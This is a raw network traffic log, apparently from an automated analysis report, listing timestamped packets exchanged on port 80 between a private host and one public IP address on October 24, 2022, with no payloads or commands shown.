Oct 24, 2022 11:00:50.367201090 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367222071 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367229939 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367250919 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367258072 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367281914 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367288113 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367311954 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367320061 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367338896 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367348909 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367368937 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367377996 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367397070 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367405891 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367429018 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367439032 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367459059 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367466927 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367486954 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367496967 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367516994 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367536068 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367548943 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367554903 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367578983 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367588043 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367608070 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367615938 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367635965 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367645979 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367666960 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367676020 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367697954 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367707968 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367738008 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367767096 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367775917 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367789030 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367794991 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367808104 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367824078 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367830038 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367850065 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367866039 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367877960 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367907047 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367912054 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367923975 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367933989 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367947102 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367961884 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.367976904 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.367999077 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368005991 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368027925 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368040085 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368057966 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368087053 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368093967 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368114948 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368132114 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368141890 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368154049 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368186951 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368192911 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368216991 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368233919 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368246078 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368259907 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368279934 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368290901 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368309021 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368319035 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368338108 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368347883 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368366003 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368393898 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368407965 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368422031 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368433952 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368453026 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368465900 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368480921 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368495941 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368510962 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368521929 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368539095 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368551970 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368570089 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368583918 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368597984 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368607998 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368618011 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368627071 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368633032 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368654966 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368666887 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368691921 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368702888 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368721008 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368731022 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368750095 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368757963 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368777990 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368787050 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368807077 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.368814945 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368845940 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.368892908 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.385323048 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.385364056 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.385391951 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.385405064 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.385422945 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.385436058 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.385452032 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.385453939 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.385467052 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.385482073 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.385490894 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.385520935 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389242887 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389290094 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389319897 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389348984 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389379025 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389409065 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389416933 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389437914 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389467001 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389470100 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389492035 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389496088 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389524937 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389555931 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389555931 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389583111 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389589071 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389611959 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389612913 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389636040 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389641047 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389651060 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389668941 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389682055 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389698982 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389705896 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389725924 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389741898 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389756918 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389766932 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389786959 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389796019 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389815092 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389826059 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389844894 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389853954 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389875889 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389880896 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389903069 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389910936 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389930964 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389940023 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389959097 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389971018 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.389988899 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.389996052 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390019894 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390026093 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390048981 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390058041 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390079021 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390084982 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390106916 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390115976 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390136957 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390144110 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390166044 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390172958 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390194893 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390202045 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390223980 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390232086 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390254021 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390261889 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390284061 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390291929 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390315056 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390320063 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390342951 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390350103 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390372038 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390399933 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390429974 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390460014 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390490055 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390521049 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390522003 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390548944 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390579939 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390593052 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390609026 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390620947 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390638113 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390669107 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390678883 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390698910 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390728951 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390733957 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390757084 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390785933 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390794039 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390815020 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390845060 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390856981 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390892029 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390932083 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.390935898 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390966892 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.390995026 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391002893 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.391032934 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391064882 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391072035 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.391096115 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391132116 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.391136885 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391168118 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391196966 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391206026 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.391227007 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391259909 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391263008 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.391288996 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391318083 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391324043 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.391347885 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391376972 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391388893 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.391407013 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391438961 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391447067 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.391467094 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391496897 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391505957 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.391525030 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391554117 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391561985 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.391582012 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391608953 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391625881 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.391638041 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391666889 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391676903 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.391696930 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391726971 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391735077 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.391757011 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391787052 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391793013 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.391814947 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391844034 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391851902 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.391872883 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391902924 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391908884 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.391932011 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391959906 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.391968012 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.391988993 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392019033 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392025948 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.392049074 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392080069 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392088890 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.392108917 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392138958 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392144918 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.392168999 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392198086 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392206907 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.392226934 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392256021 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392265081 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.392285109 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392313004 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392322063 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.392342091 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392370939 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392378092 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.392399073 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392427921 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392438889 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.392456055 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392484903 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392492056 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.392515898 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392544985 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392551899 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.392575979 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392606020 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392611027 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.392633915 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392664909 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392669916 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.392693043 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392720938 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392740965 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.392748117 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392776966 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392787933 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.392805099 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392834902 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392844915 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.392863989 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392893076 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392900944 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.392920971 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392950058 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.392957926 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.392978907 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.393007994 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.393018007 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.393037081 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.393066883 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.393074036 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.393095016 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.393124104 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.393130064 CEST	49719	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:00:50.393152952 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.393183947 CEST	80	49719	131.188.40.189	192.168.2.3
Oct 24, 2022 11:00:50.393189907 CEST	49719	80	192.168.2.3	131.188.40.189
